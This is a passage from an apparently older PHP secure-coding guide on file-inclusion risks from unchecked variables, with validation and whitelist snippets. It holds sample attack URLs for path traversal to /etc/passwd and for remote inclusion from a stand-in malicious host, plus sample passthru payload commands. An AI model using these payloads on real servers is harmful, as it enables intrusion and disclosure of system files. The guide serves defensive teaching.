Using Variables to Access Files
Allowing a malicious user to access or modify files on the server is another vulnerability that may exist as a result of variable pollution. The following functions can be used to load and execute local or remote malicious code or to access files on the web server, for example /etc/passwd.
include chgrp filectime popen include_once chmod filegroup bzopen require chown fileinode gzopen require_once copy filemtime gzfile fopen rename fileowner zip_open show_source stat fileperms cpdf_open readfile symlink filesize dba_open move_uploaded_file tempnam filetype dba_popen file tmpfile opendir dbase_open file_get_contents touch mkdir dbmopen file_put_contents umask rmdir dbplus_open file_exists delete chroot dbplus_ropen fileatime unlink scandir dio_open
The simpliest way to use these functions securely is to avoid passing PHP variables as arguments to these functions. Instead, it may be possible to use define to declare such variables. If a browser defined variable is absolutely necessary, check the variable for malicious content first.
if ( !( preg_match( "|^[a-z_./]*$|i", $page ) && !preg_match( "|\\.\\.|i", $page ) ) ) { // abort the script // you should probably write a log message here too die("Invalid request"); }
Or
$file = $expected_secure_path .'/'.basename($page); if ( !is_file($file) || !is_readable($file) ) // see also is_writable() { // abort the script // you should probably write a log message here too die("Invalid request"); }
It is also possible to check the filename against a list of valid pages.
$input = $_GET["untrusted_input"]; $valid_pages = array( "apage.php", "another.php", "more.php" ); $index = array_search($input, $valid_pages); // array_search returns NULL (PHP < 4.2.0) or if ( FALSE === $index || NULL === $index ) // FALSE if no match was found; but 0 (zero) { // and '' (empty string) are valid indexes. // abort the script // you should probably write a log message here too die("Invalid request"); }
In short, browser defined variables should never go unchecked in this situation; or in any other situation, as the rest of this paper will present.
Allowing file handling functions to access remote files could allow a malicious user to execute arbitrary PHP code on the server. A link such as
http://www.victim.com/index.php?p=about.htm
obviously contains a variable referring to a file. If that filename goes unchecked it could be used to read local files such as
http://www.victim.com/index.php?p=../../../etc/passwd
or execute remote code such as
http://www.victim.com/index.php?p=http://www.malicious.com/evilCode.htm
where evilCode.htm could contain arbitrary PHP commands. For example:
passthru( 'id' ); passthru( 'ls -al /etc' ); passthru( 'ping -c 1 evilhaxor.org' ); passthru( 'echo You have been hax0red | mail root' );
Use allow_url_fopen and open_basedir configuration variables to limit the locations that included files can be opened from. Again, this example reiterates the mantra, "do not trust global variables." All variables should be initialized. The content of all browser defined variables should be examined.